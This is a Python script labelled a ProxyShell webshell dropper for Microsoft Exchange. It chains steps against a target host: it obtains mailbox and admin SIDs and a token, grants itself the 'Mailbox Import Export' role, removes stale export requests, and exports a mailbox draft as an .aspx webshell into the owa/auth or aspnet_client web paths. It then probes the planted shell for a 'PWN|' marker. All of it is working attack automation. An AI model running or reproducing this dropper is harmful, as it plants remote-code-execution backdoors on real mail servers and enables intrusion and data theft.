#!/usr/bin/env python3
# ProxyShell webshell dropper v3: big export timeout(80s) + clean stale + settle-wait before probe
import sys, time, random, json
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

def run(host, budget=280):
    start = time.time()
    def left(): return budget - (time.time() - start)
    url = host if host.startswith('http') else f'https://{host}'
    ps = P.ProxyShell(url, timeout=80)
    res = {"target": host, "status": "fail", "detail": ""}
    try:
        fqdn = ps.get_fqdn()
        if not fqdn: res["detail"] = "no fqdn"; return res
        res["fqdn"] = fqdn
        if not ps.get_legacydn(): res["detail"] = "no mailbox"; return res
        res["email"] = ps.email
        ps.get_sid(); user_sid, admin_sid = ps.sid, ps.admin_sid
        res["user_sid"] = user_sid
        ps.sid = user_sid
        d = ps.set_ews(); res["ews"] = d
        print(f"[*] {host} fqdn={fqdn} mb={ps.email} ews={d}", flush=True)
        if d != "Success": res["detail"] = f"ews={d}"; return res
        ps.sid = admin_sid; ps.get_token()
        if not ps.token: res["detail"] = "no token"; return res
        port = random.randint(20000, 40000); P.start_server(ps, port)
        user = ps.email.split('@')[0]
        try: P.wsman_shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user}"', port)
        except Exception as e: print("  roleassign err", e, flush=True)
        try: P.wsman_shell('Get-MailboxExportRequest -ResultSize 50 | Remove-MailboxExportRequest -Confirm:$false', port)
        except Exception as e: print("  clean err", e, flush=True)
        time.sleep(3)
        paths = [("Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\", "owa_auth"),
                 ("inetpub\\wwwroot\\aspnet_client\\", "aspnet_client")]
        for shell_path, kind in paths:
            if left() < 130: break
            name = P.rand_string(6) + '.aspx'
            unc = "\\\\127.0.0.1\\c$\\" + shell_path + name
            rel = (shell_path.split('inetpub\\wwwroot\\')[1] if kind == "aspnet_client"
                   else shell_path.split('Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\')[1]).replace('\\', '/')
            shell_url = f"https://{host}/{rel}{name}"
            ename = "E" + P.rand_string(5)
            cmd = ('New-MailboxExportRequest -Name "%s" -Mailbox %s -IncludeFolders ("#Drafts#") '
                   '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (ename, ps.email, P.subj_, unc)
            print(f"[*] export[{kind}] name={ename} -> {rel}{name}", flush=True)
            try:
                o, e = P.wsman_shell(cmd, port)
                for x in o: print("   out:", str(x)[:140], flush=True)
                for x in (e or []): print("   err:", str(x)[:140], flush=True)
            except Exception as ex:
                print("   export err", type(ex).__name__, str(ex)[:150], flush=True)
            time.sleep(35)   # let export finish without locking the file mid-write
            for _ in range(8):
                if left() < 25: break
                try: code, txt = P.test_webshell(shell_url)
                except Exception as ex: code, txt = -1, f"probe exc {ex}"
                print(f"   probe {code} {(txt or '')[:70]!r}", flush=True)
                if code == 200 and txt and 'PWN|' in txt[:400] and 'Exception' not in txt[:300] and 'Server Error' not in txt[:300]:
                    res.update(status="success", shell_url=shell_url, kind=kind, output=txt[:200]); return res
                time.sleep(5)
        res["detail"] = "webshell not confirmed"; return res
    except Exception as e:
        res["detail"] = f"exception {type(e).__name__}: {e}"; return res

if __name__ == '__main__':
    h = sys.argv[1]; b = int(sys.argv[2]) if len(sys.argv) > 2 else 280
    print("RESULT_JSON " + json.dumps(run(h, b)), flush=True)
